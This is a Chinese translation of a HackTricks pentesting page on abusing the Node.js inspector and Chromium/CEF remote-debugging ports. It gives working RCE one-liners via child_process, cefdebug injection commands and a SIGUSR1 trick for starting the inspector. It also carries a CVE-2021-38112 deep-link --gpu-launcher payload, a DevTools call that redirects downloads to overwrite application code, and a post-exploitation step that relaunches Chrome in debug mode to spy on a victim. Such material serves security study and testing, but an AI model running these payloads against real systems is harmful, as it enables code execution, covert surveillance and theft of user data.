Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md
Translator workflow a21a0e7217 Translated to Chinese
2023-08-03 19:12:22 +00:00

12 KiB
Raw Blame History

Node inspector/CEF debug滥用

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

当使用--inspect开关启动时，Node.js进程会监听一个调试客户端。默认情况下，它将监听主机和端口**127.0.0.1:9229。每个进程还被分配一个唯一的UUID**。

检查器客户端必须知道并指定主机地址、端口和UUID来连接。完整的URL看起来像ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e。

{% hint style="warning" %} 由于调试器具有对Node.js执行环境的完全访问权限，能够连接到该端口的恶意行为者可能能够代表Node.js进程执行任意代码（潜在的特权升级）。 {% endhint %}

有几种启动检查器的方法：

node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

当您启动一个被检查的进程时，会出现类似以下内容的信息：

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

基于CEF（Chromium嵌入式框架）的进程，需要使用参数--remote-debugging-port=9222来打开调试器（SSRF保护措施仍然非常相似）。然而，它们不会授予一个NodeJS的debug会话，而是使用Chrome DevTools Protocol与浏览器进行通信，这是一个控制浏览器的接口，但没有直接的RCE。

当您启动一个被调试的浏览器时，会出现类似以下内容：

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

浏览器、WebSockets和同源策略

在Web浏览器中打开的网站可以在浏览器安全模型下进行WebSocket和HTTP请求。为了获得一个唯一的调试器会话ID，需要进行初始的HTTP连接。同源策略防止网站能够进行此HTTP连接。为了进一步防止DNS重绑定攻击，Node.js验证连接的'Host'头部是否明确指定了一个IP地址或**localhost或localhost6**。

{% hint style="info" %} 这些安全措施防止利用检查器通过仅发送HTTP请求（可以通过利用SSRF漏洞来完成）来运行代码。 {% endhint %}

在运行的进程中启动检查器

您可以向正在运行的Node.js进程发送信号SIGUSR1，以使其在默认端口上启动检查器。但是，请注意您需要具有足够的权限，因此这可能会为您提供对进程内部信息的特权访问，但不会直接提升权限。

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

{% hint style="info" %} 这在容器中非常有用，因为关闭进程并启动新进程使用--inspect是不可行的，因为该容器将随进程一起被终止。 {% endhint %}

连接到检查器/调试器

如果您可以访问基于Chromium的浏览器，可以通过访问chrome://inspect或edge://inspect来连接。单击配置按钮，确保您的目标主机和端口已列出（在下图中找到使用下一节示例之一获取RCE的示例）。

使用命令行可以连接到调试器/检查器：

node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

该工具https://github.com/taviso/cefdebug允许在本地查找运行的检查器并注入代码进入其中。

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

{% hint style="info" %} 请注意，如果通过Chrome DevTools Protocol连接到浏览器，NodeJS RCE漏洞利用将不起作用（您需要检查API以找到有趣的用法）。 {% endhint %}

在NodeJS调试器/检查器中的RCE

{% hint style="info" %} 如果您来到这里是为了了解如何从Electron中的XSS获取RCE，请查看此页面。 {% endhint %}

当您可以连接到Node检查器时，一些常见的获得RCE的方法是使用类似以下内容（看起来这在连接到Chrome DevTools协议时不起作用）：

process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Chrome DevTools协议负载

您可以在此处查看API：https://chromedevtools.github.io/devtools-protocol/
在本节中，我将列出我发现人们用来利用此协议的有趣内容。

通过深链接进行参数注入

在CVE-2021-38112中，Rhino Security发现基于CEF的应用程序在系统中注册了一个自定义URI（workspaces://），该URI接收完整的URI，然后使用部分从该URI构建的配置启动CEF基于的应用程序。

发现URI参数被URL解码并用于启动CEF基本应用程序，允许用户在命令行中注入标志**--gpu-launcher**并执行任意操作。

因此，一个负载如下所示：

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

将执行calc.exe。

覆盖文件

更改下载文件保存的文件夹，并下载一个文件来覆盖应用程序的经常使用的源代码，用你的恶意代码替换。

ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));

Webdriver RCE和数据泄露

根据这篇文章：https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148，可以通过theriver获得RCE并泄露内部页面。

漏洞利用后

在真实环境中，在入侵了使用Chrome/Chromium浏览器的用户PC之后，您可以启动一个带有调试功能的Chrome进程，并将调试端口进行端口转发，以便您可以访问它。这样，您就能够检查受害者在Chrome中所做的一切，并窃取敏感信息。

隐蔽的方法是终止所有Chrome进程，然后调用类似以下的命令：

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

参考资料

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥